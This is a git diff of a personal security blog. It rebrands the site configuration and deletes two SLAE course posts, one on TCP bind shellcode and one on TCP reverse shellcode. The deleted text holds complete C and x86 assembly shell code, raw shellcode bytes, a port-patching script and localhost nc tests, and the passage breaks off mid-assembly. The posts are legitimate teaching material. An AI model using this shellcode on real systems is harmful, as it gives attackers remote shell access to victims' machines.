diff --git a/_config.yml b/_config.yml
index e92aca2aca..0b9b2b99a7 100644
--- a/_config.yml
+++ b/_config.yml
@@ -16,14 +16,14 @@ minimal_mistakes_skin : "haxor" # "air", "aqua", "contrast", "dark", "dirt",
# Site Settings
locale : "en-US"
-title : "snowscan.io"
+title : "angycisneros.io"
title_separator : "-"
-name : "Snowscan"
+name : "ranger"
description : "Posts about security, CTFs and networking"
-url : "https://snowscan.io" # the base hostname & protocol for your site e.g. "https://mmistakes.github.io"
+url : "https://angycisneros.github.io" # the base hostname & protocol for your site e.g. "https://mmistakes.github.io"
baseurl : # the subpath of your site, e.g. "/blog"
-repository : "slemire/slemire.github.io" # GitHub username/repo-name e.g. "mmistakes/minimal-mistakes"
-logo : "/assets/images/masthead.png"
+repository : "angycisneros/angycisneros.github.io" # GitHub username/repo-name e.g. "mmistakes/minimal-mistakes"
+logo : "/assets/images/banner.png"
teaser : # path of fallback teaser image, e.g. "/assets/images/500x300.png"
breadcrumbs : true # true, false (default)
words_per_minute : 200
@@ -101,11 +101,11 @@ analytics:
# Site Author
author:
- name : "Snowscan"
+ name : "Angy"
avatar : "/assets/images/avatar.png"
- bio : "Pentester, CTF player HackTheBox ATeam"
- location : "Canada"
- email : "info@snowscan.io"
+ bio : "Cybersecurity and tech enthusiast!"
+ location :
+ email :
uri :
home : # null (default), "absolute or relative url to link to author home"
bitbucket :
@@ -114,23 +114,23 @@ author:
flickr :
facebook :
foursquare :
- github : "slemire"
+ github : "angycisneros"
gitlab :
google_plus :
- keybase : "snowscan"
+ keybase :
instagram :
lastfm :
- linkedin : # "john-doe-12345678" (the last part of your profile url, e.g. https://www.linkedin.com/in/john-doe-12345678)
+ linkedin : "angycisneros" # "john-doe-12345678" (the last part of your profile url, e.g. https://www.linkedin.com/in/john-doe-12345678)
pinterest :
soundcloud :
stackoverflow : # "123456/username" (the last part of your profile url, e.g. https://stackoverflow.com/users/123456/username)
steam : # "steamId" (the last part of your profile url, e.g. https://steamcommunity.com/id/steamId/)
tumblr :
- twitter : "snowscan"
+ twitter : # example ---> "user"
vine :
weibo :
xing :
- youtube : # "https://youtube.com/c/MichaelRoseDesign"
+ youtube : # "https://youtube.com/c/user"
# Reading Files
@@ -269,4 +269,4 @@ defaults:
read_time: false
comments: false
share: false
- related: true
\ No newline at end of file
+ related: true
diff --git a/_posts/2018-11-18-tcp-bind-shellcode.md b/_posts/2018-11-18-tcp-bind-shellcode.md
deleted file mode 100644
index dd7657a388..0000000000
--- a/_posts/2018-11-18-tcp-bind-shellcode.md
+++ /dev/null
@@ -1,666 +0,0 @@
----
-layout: single
-title: TCP bind shellcode
-date: 2018-11-18
-classes: wide
-header:
- teaser: /assets/images/slae32.png
-categories:
- - slae
- - infosec
-tags:
- - slae
- - assembly
- - tcp bind shellcode
----
-A bind shellcode listens on a socket, waiting for a connection to be made to the server then executes arbitrary code, typically spawning shell for the connecting user. This post demonstrates a simple TCP bind shellcode that executes a shell.
-
-The shellcode does the following:
-1. Creates a socket
-2. Binds the socket to an IP address and port
-3. Listens for incoming connections
-4. Redirects STDIN, STDOUT and STDERR to the socket once a connection is made
-5. Executes a shell
-
-### C prototype
----------------
-To better understand the process of creating a bind shellcode, I created a prototype in C that uses the same functions that'll be used in the assembly version. The full code is shown here. We'll walk through each section of the code after.
-
-```c
-#include
-#include
-#include
-#include
-#include
-
-int main()
-{
- // Create addr struct
- struct sockaddr_in addr;
- addr.sin_family = AF_INET;
- addr.sin_port = htons(4444); // Port
- addr.sin_addr.s_addr = htonl(INADDR_ANY); // Listen on any interface
-
- // Create socket
- int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1) {
- perror("Socket creation failed.\n");
- exit(EXIT_FAILURE);
- }
-
- // Bind socket
- if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
- perror("Socket bind failed.\n");
- close(sock);
- exit(EXIT_FAILURE);
- }
-
- // Listen for connection
- if (listen(sock, 0) == -1) {
- perror("Listen failed.\n");
- close(sock);
- exit(EXIT_FAILURE);
- }
-
- // Accept connection
- int fd = accept(sock, NULL, NULL);
- if (fd == -1) {
- perror("Socket accept failed.\n");
- close(sock);
- exit(EXIT_FAILURE);
- }
-
- // Duplicate stdin/stdout/stderr to socket
- dup2(fd, 0); // stdin
- dup2(fd, 1); // stdout
- dup2(fd, 2); // stderr
-
- // Execute shell
- execve("/bin/sh", NULL, NULL);
-}
-```
-
-#### 1. Socket creation
-```c
-// Create socket
-int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
-if (sock == -1) {
- perror("Socket creation failed.\n");
- exit(EXIT_FAILURE);
-}
-```
-
-The `socket` function requires 3 arguments:
-- int `domain`: The domain is `AF_INET` here since we are going to use IPv4 instead of local sockets or IPv6.
-- int `type`: For TCP sockets we use `SOCK_STREAM`. If we wanted to use UDP we'd use `SOCK_DGRAM` instead.
-- int `protocol`: For `SOCK_STREAM`, there's a single protocol implemented, we could use 0 also here.
-
-#### 2. Binding the socket
-```c
-// Create addr struct
- struct sockaddr_in addr;
- addr.sin_family = AF_INET;
- addr.sin_port = htons(4444); // Port
- addr.sin_addr.s_addr = htonl(INADDR_ANY); // Listen on any interface
-
-[...]
-
-// Bind socket
-if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
- perror("Socket bind failed.\n");
- close(sock);
- exit(EXIT_FAILURE);
-}
-```
-A socket by itself doesn't do anything since we haven't associated the socket with any port or IP address. The `bind` function assigns the IP and port to the socket previously created. The man pages for `ip` explain the different parameters:
-
-```c
-struct sockaddr_in {
- sa_family_t sin_family; /* address family: AF_INET */
- in_port_t sin_port; /* port in network byte order */
- struct in_addr sin_addr; /* internet address */
-};
-
-/* Internet address. */
-struct in_addr {
- uint32_t s_addr; /* address in network byte order */
-};
-```
-
-In data networking, packets are transmitted in big-endian order (aka network byte order), so we use the `htons` and `htonl` function to convert the port and address to the right endianness. The `INADDR_ANY` is just a reference to NULL, so the program will bind to all interfaces on the machine. If we wanted to listen on a specific interface we would use the IP address of the interface here.
-
-#### 3. Listen and Accept connections
-
-```c
-// Listen for connection
-if (listen(sock, 0) == -1) {
- perror("Listen failed.\n");
- close(sock);
- exit(EXIT_FAILURE);
-}
-
-// Accept connection
-int fd = accept(sock, NULL, NULL);
-if (fd == -1) {
- perror("Socket accept failed.\n");
- close(sock);
- exit(EXIT_FAILURE);
-}
-```
-
-The `listen` function tells the socket to listen for new connections. We can set the backlog to 0 since we only need to process a single connection request.
-
-The `accept` function requires 3 arguments:
-- int `sockfd`: This is the value of the socket descriptor we created earlier
-- struct `sockaddr *addr`: We can set this to NULL because we don't need to store the IP address of the connection host
-- socklen_t `*addrlen`: Set to NULL because we're not using `addr`
-
-The program now waits for incoming connection as this point. As indicated in the man page:
-
-> If no pending connections are present on the queue, and the socket is not marked as nonblocking, accept() blocks the caller until a connection is present.
-
-When the connection is received, the `accept` function will return the descriptor of the connection which we'll use to redirected IO to.
-
-#### 4. Duplicate file descriptors
-
-```c
- // Duplicate stdin/stdout/stderr to socket
- dup2(fd, 0); //stdin
- dup2(fd, 1); //stdout
- dup2(fd, 2); //stderr
-```
-
-Before the shell is executed, the file descriptors for stdin, stdout and stderr are duplicated to the descriptor of the TCP connection. This is necessary to redirect input and output from the executed process to the network socket.
-
-#### 5. Execute shell
-
-```c
-// Execute shell
-execve("/bin/sh", NULL, NULL);
-```
-
-`execve` does not start a new process but instead replaces the current program with a new one. Here the `/bin/sh` shell binary is used without any arguments passed to it. If we wanted to use another binary with command line arguments or environment variables, we'd pass those using the 2nd and 3rd arguments.
-
-#### Testing the program
-
-The code is compiled as follows:
-```
-slemire@slae:~/slae32/assignment1$ gcc -o shell_bind_tcp_c shell_bind_tcp.c
-shell_bind_tcp.c: In function ‘main’:
-shell_bind_tcp.c:50:2: warning: null argument where non-null required (argument 2) [-Wnonnull]
- execve("/bin/sh", NULL, NULL);
- ^
-```
-
-The compiler gives a warning because we're using a NULL value instead of pointing to an array of strings but the code still works.
-
-Now it's time to test it, :
-```
-[In the first terminal session]
-slemire@slae:~/slae32/assignment1$ ./shell_bind_tcp
-...
-[Using another terminal session]
-slemire@slae:~$ nc -nv 127.0.0.1 4444
-Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
-id
-uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
-```
-
-`ltrace` can be used to record dynamic library calls made during the execution of the program. We can see both file descriptors created: `fd 4` is the one created when the connection is accepted, and is the one used to redirect the input & output to.
-```console
-slemire@supersnake:~/slae32/assignment1$ ltrace ./shell_bind_tcp_c
-__libc_start_main(0x804864b, 1, 0xbffff6b4, 0x80487f0
-htons(4444, 0xb7fcc000, 0xb7fca244, 0xb7e320ec) = 0x5c11
-htonl(0, 0xb7fcc000, 0xb7fca244, 0xb7e320ec) = 0
-socket(2, 1, 6) = 3
-bind(3, 0xbffff5ec, 16, 0xb7e320ec) = 0
-listen(3, 0, 16, 0xb7e320ec) = 0
-accept(3, 0, 0, 0xb7e320ec) = 4
-dup2(4, 0) = 0
-dup2(4, 1) = 1
-dup2(4, 2) = 2
-execve(0x80488c5, 0, 0, 0xb7e320ec
---- Called exec() ---
-```
-
-### Assembly version
---------------------
-The assembly version follows the same logic flow previously used in the C protoype. First, registers are cleared to make sure there are no unintended side effects when testing the shellcode within the `shellcode.c` skeleton program. Initially, when I tested the code and didn't clear out all registers, the ELF binary created by NASM worked ok but the shellcode inside the skeleton program crashed because EAX already had a value in the upper half of the register.
-
-```nasm
-; Zero registers
-xor eax, eax
-xor ebx, ebx
-xor ecx, ecx
-xor edx, edx
-```
-
-For this shellcode version, I used the initial syscall used in earlier Linux versions where a single syscall was used to control all socket functions on the kernel. Newer Linux versions implement separate syscalls as indicated in the `socketcall` man page:
-
->On a some architectures—for example, x86-64 and ARM—there is no
-socketcall() system call; instead socket(2), accept(2), bind(2), and
-so on really are implemented as separate system calls.
->
->On x86-32, socketcall() was historically the only entry point for the
-sockets API. However, starting in Linux 4.3, direct system calls are
-provided on x86-32 for the sockets API.
-
-```int socketcall(int call, unsigned long *args);```
-
-`sys_socketcall` works a bit differently than other syscalls. The first argument (EBX register) contains the function name being called and the 2nd argument in ECX contains a pointer to a memory address containing the various arguments for the function.
-
-`/usr/include/linux/net.h` contains the following list of function calls:
-
-```c
-#define SYS_SOCKET 1 /* sys_socket(2) */
-#define SYS_BIND 2 /* sys_bind(2) */
-#define SYS_CONNECT 3 /* sys_connect(2) */
-#define SYS_LISTEN 4 /* sys_listen(2) */
-#define SYS_ACCEPT 5 /* sys_accept(2) */
-...
-```
-
-Let's take the socket creation as an example:
-
-```nasm
-; Create socket
-mov al, 0x66 ; sys_socketcall
-mov bl, 0x1 ; SYS_SOCKET
-push 0x6 ; int protocol -> IPPROTO_TCP
-push 0x1 ; int type -> SOCK_STREAM
-push 0x2 ; int domain -> AF_INET
-mov ecx, esp
-int 0x80 ; sys_socketcall (SYS_SOCKET)
-mov edi, eax ; save socket fd
-```
-
-`EAX` contains `0x66` which is `sys_socketcall`, then EBX is set to `0x1` (SYS_SOCKET). Next the arguments for `socket()` itself are pushed on the stack then the value of the stack frame pointer is moved into `ECX`. When the function call returns, the descriptor value is saved into `EDI` so it can be used later.
-
-The sockaddr_in struct is created as follows:
-
-```nasm
-; Create addr struct
-push edx ; NULL padding
-push edx ; NULL padding
-push edx ; sin.addr (0.0.0.0)
-push word 0x5c11 ; Port
-push word 0x2 ; AF_INET
-mov esi, esp
-```
-
-Since the addr struct needs to be 16 bytes, `$edx` is pushed twice to add 8 bytes of null padding. `$edx` is pushed a third time to define the listening address for the socket and finally the port number is pushed followed by the domain value for `AF_INET`.
-
-For `bind`, we push the size of the addr struct (16 bytes), then its address which we saved to the `$esi` register earlier and the socket description from `$edi`.
-
-```nasm
-; Bind socket
-mov al, 0x66 ; sys_socketcall
-mov bl, 0x2 ; SYS_BIND
-push 0x10 ; socklen_t addrlen
-push esi ; const struct sockaddr *addr
-push edi ; int sockfd -> saved socket fd
-mov ecx, esp
-int 0x80 ; sys_socketcall (SYS_BIND)
-```
-
-The `listen` and `accept` functions work the same way with the arguments being pushed on the stack and using `sys_socketcall`.
-
-```nasm
-; Listen for connection
-mov al, 0x66 ; sys_socketcall
-mov bl, 0x4 ; SYS_LISTEN
-push edx ; int backlog -> NULL
-push edi ; int sockfd -> saved socket fd
-mov ecx, esp
-int 0x80 ; sys_socketcall (SYS_LISTEN)
-
-; Accept connection
-mov al, 0x66 ; sys_socketcall
-mov bl, 0x5 ; SYS_ACCEPT
-push edx ; socklen_t *addrlen -> NULL
-push edx ; struct sockaddr *addr -> NULL
-push edi ; int sockfd -> saved sock fd value
-mov ecx, esp
-int 0x80 ; sys_socketcall (SYS_ACCEPT)
-```
-
-To redirect IO to the descriptor, a loop with the `$ecx` register is used. Because of the way the loop instruction works (it exits when `$ecx` is 0), the `dec` and `inc` instruction are used here so we can still use the `$ecx` value to call `dup2`.
-
-```nasm
-; Redirect STDIN, STDOUT, STDERR to socket
-xor ecx, ecx
-mov cl, 0x3 ; counter for loop (stdin to stderr)
-mov ebx, edi ; socket fd
-
-dup2:
-mov al, 0x3f ; sys_dup2
-dec ecx
-int 0x80 ; sys_dup2
-inc ecx
-loop dup2
-```
-
-The `/bin/bash` program is used to spawn a shell, padding it with forward slashes so it is 4 bytes aligned. Because the string needs to be null-terminated, an garbage character (`A`) is added to string and is changed to a NULL with the subsequent `mov byte [esp + 11], al` instruction.
-
-```nasm
-; execve()
-xor eax, eax
-push 0x41687361 ; ///bin/bashA
-push 0x622f6e69
-push 0x622f2f2f
-mov byte [esp + 11], al ; NULL terminate string
-mov al, 0xb ; sys_execve
-mov ebx, esp ; const char *filename
-xor ecx, ecx ; char *const argv[]
-xor edx, edx ; char *const envp[]
-int 0x80 ; sys_execve
-```
-
-The final assembly code looks like this:
-
-```nasm
-global _start
-
-section .text
-
-_start:
-
- ; Zero registers
- xor eax, eax
- xor ebx, ebx
- xor ecx, ecx
- xor edx, edx
-
- ; Create socket
- mov al, 0x66 ; sys_socketcall
- mov bl, 0x1 ; SYS_SOCKET
- push 0x6 ; int protocol -> IPPROTO_TCP
- push 0x1 ; int type -> SOCK_STREAM
- push 0x2 ; int domain -> AF_INET
- mov ecx, esp
- int 0x80 ; sys_socketcall (SYS_SOCKET)
- mov edi, eax ; save socket fd
-
- ; Create addr struct
- push edx ; NULL padding
- push edx ; NULL padding
- push edx ; sin.addr (0.0.0.0)
- push word 0x5c11 ; Port
- push word 0x2 ; AF_INET
- mov esi, esp
-
- ; Bind socket
- mov al, 0x66 ; sys_socketcall
- mov bl, 0x2 ; SYS_BIND
- push 0x10 ; socklen_t addrlen
- push esi ; const struct sockaddr *addr
- push edi ; int sockfd -> saved socket fd
- mov ecx, esp
- int 0x80 ; sys_socketcall (SYS_BIND)
-
- ; Listen for connection
- mov al, 0x66 ; sys_socketcall
- mov bl, 0x4 ; SYS_LISTEN
- push edx ; int backlog -> NULL
- push edi ; int sockfd -> saved socket fd
- mov ecx, esp
- int 0x80 ; sys_socketcall (SYS_LISTEN)
-
- ; Accept connection
- mov al, 0x66 ; sys_socketcall
- mov bl, 0x5 ; SYS_ACCEPT
- push edx ; socklen_t *addrlen -> NULL
- push edx ; struct sockaddr *addr -> NULL
- push edi ; int sockfd -> saved sock fd value
- mov ecx, esp
- int 0x80 ; sys_socketcall (SYS_ACCEPT)
- mov edi, eax
-
- ; Redirect STDIN, STDOUT, STDERR to socket
- xor ecx, ecx
- mov cl, 0x3 ; counter for loop (stdin to stderr)
- mov ebx, edi ; socket fd
-
- dup2:
- mov al, 0x3f ; sys_dup2
- dec ecx
- int 0x80 ; sys_dup2
- inc ecx
- loop dup2
-
- ; execve()
- xor eax, eax
- push 0x41687361 ; ///bin/bashA
- push 0x622f6e69
- push 0x622f2f2f
- mov byte [esp + 11], al ; NULL terminate string
- mov al, 0xb ; sys_execve
- mov ebx, esp ; const char *filename
- xor ecx, ecx ; char *const argv[]
- xor edx, edx ; char *const envp[]
- int 0x80 ; sys_execve
-```
-
-Compiling and linking the code...
-```console
-slemire@slae:~/slae32/assignment1$ ../compile.sh shell_bind_tcp
-[+] Assembling with Nasm ...
-[+] Linking ...
-[+] Shellcode: \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80
-[+] Length: 116
-[+] Done!
-```
-
-Testing the ELF binary generated by NASM:
-```console
-slemire@slae:~/slae32/assignment1$ file shell_bind_tcp
-shell_bind_tcp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
-[...]
-slemire@slae:~/slae32/assignment1$ ./shell_bind_tcp
-[...]
-slemire@slae:~$ nc -nv 127.0.0.1 4444
-Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
-id
-uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
-```
-
-The `shellcode.c` program is then used to test the shellcode as it would used in an actual exploit:
-```c
-#include
-
-char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
-
-int main()
-{
- int (*ret)() = (int(*)())shellcode;
- printf("Size: %d bytes.\n", sizeof(shellcode));
- ret();
-}
-```
-
-The test program is compiled and tested:
-
-```
-slemire@slae:~/slae32/assignment1$ gcc -o shellcode -fno-stack-protector -z execstack shellcode.c
-slemire@slae:~/slae32/assignment1$ ./shellcode
-[...]
-slemire@slae:~$ nc -nv 127.0.0.1 4444
-Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
-whoami
-slemire
-```
-
-### 2nd version using syscalls
-------------------------------
-The 2nd version of this bind shellcode uses the new syscalls. According to the following [kernel patch](https://patchwork.kernel.org/patch/146431/), sometimes in 2010 they added new syscall entries for non-multiplexed socket calls.
-
-The ones that interest us are:
-
-```c
-#define __NR_socket 359
-#define __NR_bind 361
-#define __NR_connect 362
-#define __NR_listen 363
-#define __NR_accept4 364
-```
-
-Instead of using `sys_socketcall`, we can use those syscalls directly and put the arguments in the registers. The same code flow is used but the arguments are passed differently.
-
-The second version of the shellcode looks like this:
-
-```nasm
-global _start
-
-section .text
-
-_start:
-
- ; Zero registers
- xor eax, eax
- xor ebx, ebx
- xor ecx, ecx
- xor edx, edx
-
- ; Create socket
- mov ax, 0x167 ; sys_socket
- mov bl, 0x2 ; int domain -> AF_INET
- inc ecx ; int type -> SOCK_STREAM
- mov dl, 0x6 ; int protocol -> IPPROTO_TCP
- int 0x80 ; sys_socket
- mov edi, eax ; save socket fd
-
- ; Create addr struct
- xor edx, edx
- push edx ; NULL padding
- push edx ; NULL padding
- push edx ; sin.addr (0.0.0.0)
- push word 0x5c11 ; Port
- push word 0x2 ; AF_INET
- mov esi, esp
-
- ; Bind socket
- mov ax, 0x169 ; sys_bind
- mov ebx, edi ; int sockfd -> saved socket fd
- mov ecx, esi ; const struct sockaddr *addr
- mov dl, 0x10 ; socklen_t addrlen
- int 0x80 ; sys_bind
-
- ; Listen for connection
- mov ax, 0x16b ; sys_listen
- mov ebx, edi ; int sockfd -> saved socket fd
- xor ecx, ecx ; int backlog -> NULL
- int 0x80 ; sys_socketcall (SYS_LISTEN)
-
- ; Accept connection
- mov ax, 0x16c ; sys_accept4
- mov ebx, edi ; int sockfd -> saved sock fd value
- xor ecx, ecx ; struct sockaddr *addr -> NULL
- xor edx, edx ; socklen_t *addrlen -> NULL
- xor esi, esi
- int 0x80 ; sys_socketcall (SYS_ACCEPT)
- mov edi, eax ; save the new fd
-
- ; Redirect STDIN, STDOUT, STDERR to socket
- xor ecx, ecx
- mov cl, 0x3 ; counter for loop (stdin to stderr)
- mov ebx, edi ; socket fd
-
- dup2:
- mov al, 0x3f ; sys_dup2
- dec ecx
- int 0x80 ; sys_dup2
- inc ecx
- loop dup2
-
- ; execve()
- xor eax, eax
- push 0x41687361 ; ///bin/bashA
- push 0x622f6e69
- push 0x622f2f2f
- mov byte [esp + 11], al ; NULL terminate string
- mov al, 0xb ; sys_execve
- mov ebx, esp ; const char *filename
- xor ecx, ecx ; char *const argv[]
- xor edx, edx ; char *const envp[]
- int 0x80 ; sys_execve
-```
-
-If we want to change the listening port, we can modify the assembly code and re-compile it but instead it would be more convenient to use a small python script that will automatically replace the port in the shellcode.
-
-The following script replaces the hardcoded port `4444` from the shellcode with the port supplied at the command line. The script also gives a warning if any null bytes are contained in the modified shellcode. Depending on which port is being used, it's possible some values may generate null bytes.
-
-```python
-#!/usr/bin/python
-
-import socket
-import sys
-
-shellcode = '\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x6a\\x01'
-shellcode += '\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x52\\x52\\x52\\x66\\x68\\x11\\x5c\\x66'
-shellcode += '\\x6a\\x02\\x89\\xe6\\xb0\\x66\\xb3\\x02\\x6a\\x10\\x56\\x57\\x89\\xe1\\xcd\\x80'
-shellcode += '\\xb0\\x66\\xb3\\x04\\x52\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52'
-shellcode += '\\x57\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x31\\xc9\\xb1\\x03\\x89\\xfb\\xb0\\x3f\\x49'
-shellcode += '\\xcd\\x80\\x41\\xe2\\xf8\\x31\\xc0\\x68\\x61\\x73\\x68\\x41\\x68\\x69\\x6e\\x2f'
-shellcode += '\\x62\\x68\\x2f\\x2f\\x2f\\x62\\x88\\x44\\x24\\x0b\\xb0\\x0b\\x89\\xe3\\x31\\xc9'
-shellcode += '\\x31\\xd2\\xcd\\x80'
-
-if len(sys.argv) < 2:
- print('Usage: {name} [port]'.format(name = sys.argv[0]))
- exit(1)
-
-port = sys.argv[1]
-port_htons = hex(socket.htons(int(port)))
-
-byte1 = port_htons[4:]
-if byte1 == '':
- byte1 = '0'
-byte2 = port_htons[2:4]
-shellcode = shellcode.replace('\\x11\\x5c', '\\x{}\\x{}'.format(byte1, byte2))
-
-print('Here\'s the shellcode using port {port}:'.format(port = port))
-print(shellcode)
-
-if '\\x0\\' in shellcode or '\\x00\\' in shellcode:
- print('##################################')
- print('Warning: Null byte in shellcode!')
- print('##################################')
-```
-
-Here's the script in action:
-```
-slemire@slae:~/slae32/assignment1$ ./prepare.py 5555
-Here's the shellcode using port 5555:
-\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x15\xb3\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80
-```
-
-The shellcode is then added to the test program.
-```c
-#include
-
-char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x15\xb3\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
-
-int main()
-{
- int (*ret)() = (int(*)())shellcode;
- printf("Size: %d bytes.\n", sizeof(shellcode));
- ret();
-}
-```
-
-```
-slemire@slae:~$ gcc -o test -fno-stack-protector -z execstack shellcode.c
-slemire@slae:~$ ./test
-[...]
-slemire@slae:~$ nc -nv 127.0.0.1 5555
-Connection to 127.0.0.1 5555 port [tcp/*] succeeded!
-whoami
-slemire
-```
-
-This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
-
-[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)
-
-Student ID: SLAE-1236
-
-All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32)
\ No newline at end of file
diff --git a/_posts/2018-11-18-tcp-reverse_shellcode.md b/_posts/2018-11-18-tcp-reverse_shellcode.md
deleted file mode 100644
index 178c8f9e87..0000000000
--- a/_posts/2018-11-18-tcp-reverse_shellcode.md
+++ /dev/null
@@ -1,387 +0,0 @@
----
-layout: single
-title: TCP reverse shellcode
-date: 2018-11-18 12:00:00
-classes: wide
-header:
- teaser: /assets/images/slae32.png
-categories:
- - slae
- - infosec
-tags:
- - slae
- - assembly
- - tcp reverse shellcode
----
-
-A TCP reverse shell connects back to the attacker machine, then executes a shell and redirects all input & output to the socket. This is especially useful when a firewall denies incoming connections but allows outgoing connections.
-
-### C prototype
----------------
-First, a C prototype is created to test the functionality before building the final shellcode in assembly.
-
-This is the C protype used for the reverse shellcode:
-```c
-#include
-#include
-#include
-#include
-#include
-
-int main()
-{
- // Create addr struct
- struct sockaddr_in addr;
- addr.sin_family = AF_INET;
- addr.sin_port = htons(4444); // Port
- addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Connection IP
-
- // Create socket
- int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1) {
- perror("Socket creation failed.\n");
- exit(EXIT_FAILURE);
- }
-
- // Connect socket
- if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
- perror("Socket connection failed.\n");
- close(sock);
- exit(EXIT_FAILURE);
- }
-
- // Duplicate stdin, stdout, stderr to socket
- dup2(sock, 0); //stdin
- dup2(sock, 1); //stdout
- dup2(sock, 2); //stderr
-
- //Execute shell
- execve("/bin/sh", NULL, NULL);
-}
-```
-
-#### Testing the program
-
-Compiling the C prototype:
-```
-slemire@slae:~/slae32/assignment2$ gcc -o shell_tcp_reverse_c shell_tcp_reverse.c
-shell_tcp_reverse.c: In function ‘main’:
-shell_tcp_reverse.c:13:25: warning: implicit declaration of function ‘inet_addr’ [-Wimplicit-function-declaration]
- addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Connection IP
- ^
-shell_tcp_reverse.c:35:2: warning: null argument where non-null required (argument 2) [-Wnonnull]
- execve("/bin/sh", 0, 0);
- ^
-```
-
-Netcat is used to listen for the reverse shell connection on port 4444:
-```
-slemire@slae:~/slae32/assignment2$ ./shell_tcp_reverse_c
-[...]
-slemire@slae:~$ nc -lvnp 4444
-Listening on [0.0.0.0] (family 0, port 4444)
-Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52202)
-whoami
-slemire
-```
-
-### Assembly version
---------------------
-Similar to the bind shellcode, we first clear out the registers so there is nothing left in the upper or lower half that could cause problems with the program execution.
-
-```nasm
-; Zero registers
-xor eax, eax
-xor ebx, ebx
-xor ecx, ecx
-xor edx, edx
-```
-
-Next, a socket is created and we create the addr struct used to store the IP and port where the shellcode will connect to. In this example, the `127.0.0.1` IP is used with port `4444`. Later, we will use a python script to easily modify the IP address and port in the shellcode so we don't need to touch the assembly code manually every time we want to make a change. Depending on the IP address used, the shellcode generated might contain null bytes so instead the IP address is XORed with a specific key that won't result in null bytes in the shellcode.
-
-```nasm
-; Create socket
-mov al, 0x66 ; sys_socketcall
-mov bl, 0x1 ; SYS_SOCKET
-push 0x6 ; int protocol -> IPPROTO_TCP
-push 0x1 ; int type -> SOCK_STREAM
-push 0x2 ; int domain -> AF_INET
-mov ecx, esp
